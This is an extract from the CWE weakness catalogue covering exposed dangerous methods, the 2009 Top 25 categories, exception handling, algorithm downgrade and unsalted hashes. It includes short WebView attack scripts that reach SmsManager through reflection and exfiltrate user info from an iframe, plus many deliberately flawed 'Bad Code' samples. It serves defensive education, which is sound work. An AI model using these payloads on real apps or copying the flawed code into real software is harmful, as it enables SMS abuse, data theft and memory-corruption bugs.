-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest
navigationType:(UIWebViewNavigationType)exNavigationType
{
    NSURL *URL = [exRequest URL];
    if ([[URL scheme] isEqualToString:@"exampleScheme"])
    {
        NSString *functionString = [URL resourceSpecifier];
        if ([functionString hasPrefix:@"specialFunction"])
        {
            // Make data available back in webview.
            UIWebView *webView = [self writeToView:[URL query]];
        }
        return NO;
    }
    return YES;
}
```

}

A call into native code can then be initiated by passing parameters within the URL:

**Javascript Example:**

Attack

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

**Example 3:**

This application uses a WebView to display websites, and creates a Javascript interface to a Java object to allow enhanced functionality on a trusted website:

**Java Example:**

Bad Code

```
public class WebViewGUI extends Activity {
    WebView mainWebView;
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        mainWebView = new WebView(this);
        mainWebView.getSettings().setJavaScriptEnabled(true);
        mainWebView.addJavascriptInterface(new JavaScriptInterface(), "userInfoObject");
        mainWebView.loadUrl("file:///android_asset/www/index.html");
        setContentView(mainWebView);
    }
    final class JavaScriptInterface {
        JavaScriptInterface () {}
        public String getUserInfo() {
            return currentUser.Info();
        }
    }
}
```

Before Android 4.2 all methods, including inherited ones, are exposed to Javascript when using addJavascriptInterface(). This means that a malicious website loaded within this WebView can use reflection to acquire a reference to arbitrary Java objects. This will allow the website code to perform any action the parent application is authorized to.

For example, if the application has permission to send text messages:

**Javascript Example:**

Attack

```
<script>
    userInfoObject.getClass().forName('android.telephony.SmsManager').getMethod('getDefault',null).sendTextMessage(attackNumber,
    null, attackMessage, null, null);
</script>
```

This malicious script can use the userInfoObject object to load the SmsManager object and send arbitrary text messages to any recipient.

**Example 4:**

After Android 4.2, only methods annotated with @JavascriptInterface are available in JavaScript, protecting usage of getClass() by default, as in this example:

**Java Example:**

Bad Code

```
final class JavaScriptInterface {
    JavaScriptInterface () {}
    @JavascriptInterface
    public String getUserInfo() {
        return currentUser.Info();
    }
}
```

This code is not vulnerable to the above attack, but still may expose user info to malicious pages loaded in the WebView. Even malicious iframes loaded within a trusted page may access the exposed interface:

**Javascript Example:**

Attack

```
<script>
```

```
var info = window.userInfoObject.getUserInfo();
sendUserInfo(info);
</script>
```

This malicious code within an iframe is able to access the interface object and steal the user's data.

### Observed Examples

Reference	Description
CVE-2007-1112	security tool ActiveX control allows download or upload of files
CVE-2007-6382	arbitrary Java code execution via exposed method

### Potential Mitigations

#### Architecture and Design

If you must expose a method, make sure to perform input validation on all arguments, limit access to authorized parties, and protect against all possible vulnerabilities.

#### Architecture and Design

##### Implementation

#### Identify and Reduce Attack Surface

Identify all exposed functionality. Explicitly list all functionality that must be exposed to some user or set of users. Identify which functionality may be:

- accessible to all users
- restricted to a small set of privileged users
- prevented from being directly accessible at all

Ensure that the implemented code follows these expectations. This includes setting the appropriate access modifiers where applicable (public, private, protected, etc.) or not marking ActiveX controls safe-for-scripting.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		485	Insufficient Encapsulation	<b>699</b>	819
ChildOf		691	Insufficient Control Flow Management	<b>1000</b>	1072
ChildOf		808	2010 Top 25 - Weaknesses On the Cusp	<b>800</b>	1244
ChildOf		975	SFP Secondary Cluster: Architecture	<b>888</b>	1382
ParentOf		618	<i>Exposed Unsafe ActiveX Method</i>	<b>1000</b>	966
ParentOf		782	<i>Exposed IOCTL with Insufficient Access Control</i>	<b>699</b>	1198
				<b>1000</b>	

### Research Gaps

Under-reported and under-studied. This weakness could appear in any technology, language, or framework that allows the programmer to provide a functional interface to external parties, but it is not heavily reported. In 2007, CVE began showing a notable increase in reports of exposed method vulnerabilities in ActiveX applications, as well as IOCTL access to OS-level resources. These weaknesses have been documented for Java applications in various secure programming sources, but there are few reports in CVE, which suggests limited awareness in most parts of the vulnerability research community.

### References

< <http://msdn.microsoft.com/workshop/components/activex/safety.asp> >.

< <http://msdn.microsoft.com/workshop/components/activex/security.asp> >.

## CWE-750: Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors

View ID: 750 (View: Graph)

Status: Incomplete

Objective

CWE entries in this view (graph) are listed in the 2009 CWE/SANS Top 25 Programming Errors.

### View Data

#### View Metrics

	CWEs in this view		Total CWEs
<b>Total</b>	<b>29</b>	out of	<b>1003</b>
<b>Views</b>	<b>0</b>	out of	<b>32</b>
<b>Categories</b>	<b>3</b>	out of	<b>244</b>
<b>Weaknesses</b>	<b>24</b>	out of	<b>719</b>
<b>Compound_Elements</b>	<b>2</b>	out of	<b>8</b>

### View Audience

#### Developers

By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.

#### Software Customers

If a software developer claims to be following the Top 25, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

#### Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
HasMember	<b>C</b>	751	2009 Top 25 - Insecure Interaction Between Components	<b>750</b>	1142
HasMember	<b>C</b>	752	2009 Top 25 - Risky Resource Management	<b>750</b>	1143
HasMember	<b>C</b>	753	2009 Top 25 - Porous Defenses	<b>750</b>	1143

### References

"2009 CWE/SANS Top 25 Most Dangerous Programming Errors". 2009-01-12. < <http://cwe.mitre.org/top25> >.

## CWE-751: 2009 Top 25 - Insecure Interaction Between Components

Category ID: 751 (Category)

Status: Incomplete

### Description

#### Summary

Weaknesses in this category are listed in the "Insecure Interaction Between Components" section of the 2009 CWE/SANS Top 25 Programming Errors.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ParentOf	<b>C</b>	20	Improper Input Validation	<b>750</b>	18
ParentOf	<b>B</b>	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	<b>750</b>	121
ParentOf	<b>B</b>	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	<b>750</b>	131
ParentOf	<b>B</b>	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	<b>750</b>	159
ParentOf	<b>C</b>	116	Improper Encoding or Escaping of Output	<b>750</b>	217
ParentOf	<b>B</b>	209	Information Exposure Through an Error Message	<b>750</b>	397
ParentOf	<b>B</b>	319	Cleartext Transmission of Sensitive Information	<b>750</b>	562
ParentOf	<b>B</b>	352	Cross-Site Request Forgery (CSRF)	<b>750</b>	611
ParentOf	<b>C</b>	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	<b>750</b>	627
MemberOf	<input checked="" type="checkbox"/>	750	Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors	<b>750</b>	1141

## References

"2009 CWE/SANS Top 25 Programming Errors". 2009-01-12. < <http://cwe.mitre.org/top25> >.

## CWE-752: 2009 Top 25 - Risky Resource Management

Category ID: 752 (Category) Status: Incomplete

## Description

## Summary

Weaknesses in this category are listed in the "Risky Resource Management" section of the 2009 CWE/SANS Top 25 Programming Errors.

## Relationships

Nature	Type	ID	Name	CVSS	Page
ParentOf	C	73	External Control of File Name or Path	750	109
ParentOf	C	94	Improper Control of Generation of Code ('Code Injection')	750	173
ParentOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	750	226
ParentOf	B	404	Improper Resource Shutdown or Release	750	699
ParentOf	B	426	Untrusted Search Path	750	729
ParentOf	B	494	Download of Code Without Integrity Check	750	835
ParentOf	C	642	External Control of Critical State Data	750	993
ParentOf	B	665	Improper Initialization	750	1027
ParentOf	C	682	Incorrect Calculation	750	1060
MemberOf	V	750	Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors	750	1141

## References

"2009 CWE/SANS Top 25 Programming Errors". 2009-01-12. < <http://cwe.mitre.org/top25> >.

## CWE-753: 2009 Top 25 - Porous Defenses

Category ID: 753 (Category) Status: Incomplete

## Description

## Summary

Weaknesses in this category are listed in the "Porous Defenses" section of the 2009 CWE/SANS Top 25 Programming Errors.

## Relationships

Nature	Type	ID	Name	CVSS	Page
ParentOf	C	250	Execution with Unnecessary Privileges	750	440
ParentOf	B	259	Use of Hard-coded Password	750	459
ParentOf	C	285	Improper Authorization	750	501
ParentOf	B	327	Use of a Broken or Risky Cryptographic Algorithm	750	573
ParentOf	C	330	Use of Insufficiently Random Values	750	581
ParentOf	B	602	Client-Side Enforcement of Server-Side Security	750	947
ParentOf	C	732	Incorrect Permission Assignment for Critical Resource	750	1121
MemberOf	V	750	Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors	750	1141
ParentOf	B	798	Use of Hard-coded Credentials	750	1219

## References

"2009 CWE/SANS Top 25 Programming Errors". 2009-01-12. < <http://cwe.mitre.org/top25> >.

## CWE-754: Improper Check for Unusual or Exceptional Conditions

Weakness ID: 754 (Weakness Class) Status: Incomplete

## Description



**Summary**

The software does not check or improperly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the software.

**Extended Description**

The programmer may assume that certain events or conditions will never occur or do not need to be worried about, such as low memory conditions, lack of access to resources due to restrictive permissions, or misbehaving clients or components. However, attackers may intentionally trigger these unusual conditions, thus violating the programmer's assumptions, possibly introducing instability, incorrect behavior, or a vulnerability.

Note that this entry is not exclusively about the use of exceptions and exception handling, which are mechanisms for both checking and handling unusual or unexpected conditions.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- Language-independent

**Common Consequences****Integrity****Availability****DoS: crash / exit / restart****Unexpected state**

The data which were produced as a result of a function call could be in a bad state upon return. If the return value is not checked, then this bad data may be used in operations, possibly leading to a crash or other unintended behaviors.

**Likelihood of Exploit**

Medium

**Detection Methods****Automated Static Analysis****Moderate**

Automated static analysis may be useful for detecting unusual conditions involving system resources or common programming idioms, but not for violations of business rules.

**Manual Dynamic Analysis**

Identify error conditions that are not likely to occur during normal usage and trigger them.

For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

**Demonstrative Examples****Example 1:**

Consider the following code segment:

**C Example:**

*Bad Code*

```
char buf[10], cp_buf[10];
fgets(buf, 10, stdin);
strcpy(cp_buf, buf);
```

The programmer expects that when `fgets()` returns, `buf` will contain a null-terminated string of length 9 or less. But if an I/O error occurs, `fgets()` will not null-terminate `buf`. Furthermore, if the end of the file is reached before any characters are read, `fgets()` returns without writing anything to `buf`. In both of these situations, `fgets()` signals that something unusual has happened by returning `NULL`, but in this code, the warning will not be noticed. The lack of a null terminator in `buf` can result in a buffer overflow in the subsequent call to `strcpy()`.

**Example 2:**



The following code does not check to see if memory allocation succeeded before attempting to use the pointer returned by `malloc()`.

**C Example:***Bad Code*

```
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);
```

The traditional defense of this coding error is: "If my program runs out of memory, it will fail. It doesn't matter whether I handle the error or simply allow the program to die with a segmentation fault when it tries to dereference the null pointer." This argument ignores three important considerations:

Depending upon the type and size of the application, it may be possible to free memory that is being used elsewhere so that execution can continue.

It is impossible for the program to perform a graceful exit if required. If the program is performing an atomic operation, it can leave the system in an inconsistent state.

The programmer has lost the opportunity to record diagnostic information. Did the call to `malloc()` fail because `req_size` was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know.

**Example 3:**

The following examples read a file into a byte array.

**C# Example:***Bad Code*

```
char[] byteArray = new char[1024];
for (IEnumerator i=users.GetEnumerator(); i.MoveNext() ;i.Current()) {
    String userName = (String) i.Current();
    String pFileName = PFILE_ROOT + "/" + userName;
    StreamReader sr = new StreamReader(pFileName);
    sr.Read(byteArray,0,1024);//the file is always 1k bytes
    sr.Close();
    processPFile(userName, byteArray);
}
```

**Java Example:***Bad Code*

```
FileInputStream fis;
byte[] byteArray = new byte[1024];
for (Iterator i=users.iterator(); i.hasNext(); ) {
    String userName = (String) i.next();
    String pFileName = PFILE_ROOT + "/" + userName;
    FileInputStream fis = new FileInputStream(pFileName);
    fis.read(byteArray); // the file is always 1k bytes
    fis.close();
    processPFile(userName, byteArray);
}
```

The code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always 1 kilobyte in size and therefore ignores the return value from `Read()`. If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and treat it as though it belongs to the attacker.

**Example 4:**

The following code does not check to see if the string returned by `getParameter()` is null before calling the member function `compareTo()`, potentially causing a NULL dereference.

**Java Example:***Bad Code*

```
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM) == 0) {
    ...
}
...
```

The following code does not check to see if the string returned by the `Item` property is null before calling the member function `Equals()`, potentially causing a NULL dereference.

**Java Example:***Bad Code*

```
String itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
    ...
}
...
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

**Example 5:**

The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined.

**Java Example:***Bad Code*

```
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95")) System.out.println("Not supported");
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

**Example 6:**

The following VB.NET code does not check to make sure that it has read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to operate on an unexpected value.

**.NET Example:***Bad Code*

```
Dim MyFile As New FileStream("myfile.txt", FileMode.Open, FileAccess.Read, FileShare.Read)
Dim MyArray(50) As Byte
MyFile.Read(MyArray, 0, 50)
DoDangerousOperation(MyArray(20))
```

In .NET, it is not uncommon for programmers to misunderstand Read() and related methods that are part of many System.IO classes. The stream and reader classes do not consider it to be unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested.

**Example 7:**

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

**C Example:***Bad Code*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to `gethostbyaddr()` will return `NULL`. When this occurs, a `NULL` pointer dereference (CWE-476) will occur in the call to `strcpy()`.

Note that this example is also vulnerable to a buffer overflow (see CWE-119).

### Example 8:

In the following C/C++ example the method `outputStringToFile` opens a file in the local filesystem and outputs a string to the file. The input parameters `output` and `filename` contain the string to output to the file and the name of the file respectively.

#### C++ Example:

*Bad Code*

```
int outputStringToFile(char *output, char *filename) {
    openFileToWrite(filename);
    writeToFile(output);
    closeFile(filename);
}
```

However, this code does not check the return values of the methods `openFileToWrite`, `writeToFile`, `closeFile` to verify that the file was properly opened and closed and that the string was successfully written to the file. The return values for these methods should be checked to determine if the method was successful and allow for detection of errors or unexpected conditions as in the following example.

#### C++ Example:

*Good Code*

```
int outputStringToFile(char *output, char *filename) {
    int isOutput = SUCCESS;
    int isOpen = openFileToWrite(filename);
    if (isOpen == FAIL) {
        printf("Unable to open file %s", filename);
        isOutput = FAIL;
    }
    else {
        int isWrite = writeToFile(output);
        if (isWrite == FAIL) {
            printf("Unable to write to file %s", filename);
            isOutput = FAIL;
        }
        int isClose = closeFile(filename);
        if (isClose == FAIL)
            isOutput = FAIL;
    }
    return isOutput;
}
```

### Example 9:

In the following Java example the method `readFromFile` uses a `FileReader` object to read the contents of a file. The `FileReader` object is created using the `File` object `readFile`, the `readFile` object is initialized using the `setInputFile` method. The `setInputFile` method should be called before calling the `readFromFile` method.

#### Java Example:

*Bad Code*

```
private File readFile = null;
public void setInputFile(String inputFile) {
    // create readFile File object from string containing name of file
}
public void readFromFile() {
    try {
        reader = new FileReader(readFile);
        // read input file
    } catch (FileNotFoundException ex) {...}
}
```

However, the `readFromFile` method does not check to see if the `readFile` object is null, i.e. has not been initialized, before creating the `FileReader` object and reading from the input file. The

readFromFile method should verify whether the readFile object is null and output an error message and raise an exception if the readFile object is null, as in the following code.

**Java Example:**

Good Code

```
private File readFile = null;
public void setInputFile(String inputFile) {
    // create readFile File object from string containing name of file
}
public void readFromFile() {
    try {
        if (readFile == null) {
            System.err.println("Input file has not been set, call setInputFile method before calling openInputFile");
            throw NullPointerException;
        }
        reader = new FileReader(readFile);
        // read input file
    } catch (FileNotFoundException ex) {...}
    catch (NullPointerException ex) {...}
}
}
```

**Observed Examples**

Reference	Description
CVE-2006-2916	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.
CVE-2006-4447	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.
CVE-2007-3798	Unchecked return value leads to resultant integer overflow and code execution.

**Potential Mitigations****Requirements****Language Selection**

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Choose languages with features such as exception handling that force the programmer to anticipate unusual conditions that may generate exceptions. Custom exceptions may need to be developed to handle unusual business-logic conditions. Be careful not to pass sensitive exceptions back to the user (CWE-209, CWE-248).

**Implementation****High**

Check the results of all functions that return a value and verify that the value is expected.

Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

**Implementation****High**

If using exception handling, catch and throw specific exceptions instead of overly-general exceptions (CWE-396, CWE-397). Catch and handle exceptions as locally as possible so that exceptions do not propagate too far up the call stack (CWE-705). Avoid unchecked or uncaught exceptions where feasible (CWE-248).

Using specific exceptions, and ensuring that exceptions are checked, helps programmers to anticipate and appropriately handle many unusual events that could occur.

**Implementation**

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

Exposing additional information to a potential attacker in the context of an exceptional condition can help the attacker determine what attack vectors are most likely to succeed beyond DoS.

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Performing extensive input validation does not help with handling unusual conditions, but it will minimize their occurrences and will make it more difficult for attackers to trigger them.

**Architecture and Design****Implementation**

If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.













**Architecture and Design**

Use system limits, which should help to prevent resource exhaustion. However, the software should still handle low resource conditions since they may still occur.

**Background Details**

Many functions will return some value about the success of their actions. This will alert the program whether or not to handle any errors caused by that function.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		388	Error Handling		669
ChildOf		703	Improper Check or Handling of Exceptional Conditions		1102
ChildOf		742	CERT C Secure Coding Section 08 - Memory Management (MEM)		1134
ChildOf		802	2010 Top 25 - Risky Resource Management		1228
ChildOf		840	Business Logic Errors		1283
ChildOf		867	2011 Top 25 - Weaknesses On the Cusp		1310

Nature	Type	ID	Name	V	Page
ChildOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1314
ChildOf	C	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	1317
ChildOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	1376
ParentOf	B	252	Unchecked Return Value	1000	446
ParentOf	B	253	Incorrect Check of Function Return Value	1000	451
ParentOf	B	273	Improper Check for Dropped Privileges	1000	485
ParentOf	B	354	Improper Validation of Integrity Check Value	1000	618
ParentOf	B	394	Unexpected Status Code or Return Value	1000	679

### Relationship Notes

Sometimes, when a return value can be used to indicate an error, an unchecked return value is a code-layer instance of a missing application-layer check for exceptional conditions. However, return values are not always needed to communicate exceptional conditions. For example, expiration of resources, values passed by reference, asynchronously modified data, sockets, etc. may indicate exceptional conditions without the use of a return value.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C++ Secure Coding	MEM32-CPP	Detect and handle memory allocation errors
CERT C++ Secure Coding	ERR39-CPP	Guarantee exception safety
CERT C Secure Coding	MEM32-C	Detect and handle memory allocation errors

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Program Building Blocks" Page 341. 1st Edition. Addison Wesley. 2006.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 1, "Exceptional Conditions," Page 22. 1st Edition. Addison Wesley. 2006.

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 11: Failure to Handle Errors Correctly." Page 183. McGraw-Hill. 2010.

Frank Kim. "Top 25 Series - Rank 15 - Improper Check for Unusual or Exceptional Conditions". SANS Software Security Institute. 2010-03-15. < <http://blogs.sans.org/appsecstreetfighter/2010/03/15/top-25-series-rank-15-improper-check-for-unusual-or-exceptional-conditions/> >.

## CWE-755: Improper Handling of Exceptional Conditions

Weakness ID: 755 (Weakness Class)

Status: Incomplete

### Description

#### Summary

The software does not handle or incorrectly handles an exceptional condition.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- Language-Independent

### Common Consequences

#### Other

#### Other

### Likelihood of Exploit

Low to Medium

### Observed Examples

Reference	Description
CVE-2008-4302	Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		703	Improper Check or Handling of Exceptional Conditions	1000	1102
ChildOf		880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	1317
ChildOf		962	SFP Secondary Cluster: Unchecked Status Condition	888	1376
ParentOf		209	Information Exposure Through an Error Message	1000	397
ParentOf		390	Detection of Error Condition Without Action	1000	671
ParentOf		395	Use of NullPointerException Catch to Detect NULL Pointer Dereference	1000	680
ParentOf		396	Declaration of Catch for Generic Exception	1000	682
ParentOf		460	Improper Cleanup on Thrown Exception	1000	777
ParentOf		544	Missing Standardized Error Handling Mechanism	1000	883
ParentOf		636	Not Failing Securely ('Failing Open')	1000	983
ParentOf		756	Missing Custom Error Page	1000	1151

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C++ Secure Coding	ERR39-CPP	Guarantee exception safety

## CWE-756: Missing Custom Error Page

Weakness ID: 756 (Weakness Class)

Status: Incomplete

### Description

#### Summary

The software does not return custom error pages to the user, possibly exposing sensitive information.

### Common Consequences

#### Confidentiality

##### Read application data

Attackers can leverage the additional information provided by a default error page to mount attacks targeted on the framework, database, or other resources used by the application.

### Demonstrative Examples

#### Example 1:

In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).

#### Java Example:

*Bad Code*

```
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        ...
    } catch (ApplicationSpecificException ase) {
        logger.error("Caught: " + ase.toString());
    }
}
```

#### Example 2:

An insecure ASP.NET application setting:

#### ASP.NET Example:

*Bad Code*

```
<customErrors mode="Off" />
```



Custom error message mode is turned off. An ASP.NET error message with detailed stack trace and platform versions will be returned.

Here is a more secure setting:

#### ASP.NET Example:

Good Code

```
<customErrors mode="RemoteOnly" />
```

Custom error message mode for remote users only. No defaultRedirect error page is specified. The local user on the web server will see a detailed stack trace. For remote users, an ASP.NET error message with the server customError configuration setting and the platform version will be returned.

#### Relationships

Nature	Type	ID	Name		Page
CanPrecede		209	Information Exposure Through an Error Message		397
ChildOf		388	Error Handling	<b>699</b>	669
ChildOf		755	Improper Handling of Exceptional Conditions	<b>1000</b>	1150
ChildOf		963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377
ParentOf		7	J2EE Misconfiguration: Missing Custom Error Page	<b>699</b> <b>1000</b>	5
ParentOf		12	ASP.NET Misconfiguration: Missing Custom Error Page	<b>1000</b>	9
MemberOf		884	CWE Cross-section	<b>884</b>	1319

## CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')

Weakness ID: 757 (Weakness Class)

Status: Incomplete

#### Description

##### Summary

A protocol or its implementation supports interaction between multiple actors and allows those actors to negotiate which algorithm should be used as a protection mechanism such as encryption or authentication, but it does not select the strongest algorithm that is available to both parties.

##### Extended Description

When a security mechanism can be forced to downgrade to use a less secure algorithm, this can make it easier for attackers to compromise the software by exploiting weaker algorithm. The victim might not be aware that the less secure algorithm is being used. For example, if an attacker can force a communications channel to use cleartext instead of strongly-encrypted data, then the attacker could read the channel by sniffing, instead of going through extra effort of trying to decrypt the data using brute force techniques.

#### Common Consequences

##### Access Control

##### Bypass protection mechanism

#### Observed Examples

Reference	Description
CVE-2001-1444	Telnet protocol implementation allows downgrade to weaker authentication and encryption using a man-in-the-middle attack.
CVE-2002-1646	SSH server implementation allows override of configuration setting to use weaker authentication schemes. This may be a composite with CWE-642.
CVE-2005-2969	chain: SSL/TLS implementation disables a verification step (CWE-325) that enables a downgrade attack to a weaker protocol.
CVE-2006-4302	Attacker can select an older version of the software to exploit its vulnerabilities.
CVE-2006-4407	Improper prioritization of encryption ciphers during negotiation leads to use of a weaker cipher.

#### Relationships

Nature	Type	ID	Name	ⓧ	Page
ChildOf		693	Protection Mechanism Failure	1000	1074
ChildOf		957	SFP Secondary Cluster: Protocol Error	888	1374

### Relationship Notes

This is related to CWE-300 (Man-in-the-Middle), although not all downgrade attacks necessarily require a man in the middle. See examples.

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
220	Client-Server Protocol Manipulation	

## CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior

Weakness ID: 758 (Weakness Class)

Status: Incomplete

### Description

#### Summary

The software uses an API function, data structure, or other entity in a way that relies on properties that are not always guaranteed to hold for that entity.

#### Extended Description

This can lead to resultant weaknesses when the required properties change, such as when the software is ported to a different platform or if an interaction error (CWE-435) occurs.

### Common Consequences

Other

Other

### Observed Examples

Reference	Description
CVE-2006-1902	Change in C compiler behavior causes resultant buffer overflows in programs that depend on behaviors that were undefined in the C standard.

### Relationships

Nature	Type	ID	Name	ⓧ	Page
ChildOf		710	Coding Standards Violation	1000	1109
ChildOf		1001	SFP Secondary Cluster: Use of an Improper API	888	1403
ParentOf		188	Reliance on Data/Memory Layout	1000	359
ParentOf		587	Assignment of a Fixed Address to a Pointer	1000	927
ParentOf		588	Attempt to Access Child of a Non-structure Pointer	1000	928
ParentOf		733	Compiler Optimization Removal or Modification of Security-critical Code	1000	1129

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	MSC14-C	Do not introduce unnecessary platform dependencies
CERT C Secure Coding	MSC15-C	Do not depend on undefined behavior

## CWE-759: Use of a One-Way Hash without a Salt

Weakness ID: 759 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the software does not also use a salt as part of the input.

#### Extended Description

This makes it easier for attackers to pre-compute the hash value using dictionary attack techniques such as rainbow tables.

It should be noted that, despite common perceptions, the use of a good salt with a hash does not sufficiently increase the effort for an attacker who is targeting an individual password, or who has a large amount of computing resources available, such as with cloud-based services or specialized, inexpensive hardware. Offline password cracking can still be effective if the hash function is not expensive to compute; many cryptographic functions are designed to be efficient and can be vulnerable to attacks using massive computing resources, even if the hash is cryptographically strong. The use of a salt only slightly increases the computing requirements for an attacker compared to other strategies such as adaptive hash functions. See CWE-916 for more details.

### Common Consequences

#### Access Control

#### Bypass protection mechanism

#### Gain privileges / assume identity

If an attacker can gain access to the hashes, then the lack of a salt makes it easier to conduct brute force attacks using techniques such as rainbow tables.

### Detection Methods

#### Automated Static Analysis - Binary / Bytecode

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

#### Manual Static Analysis - Binary / Bytecode

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

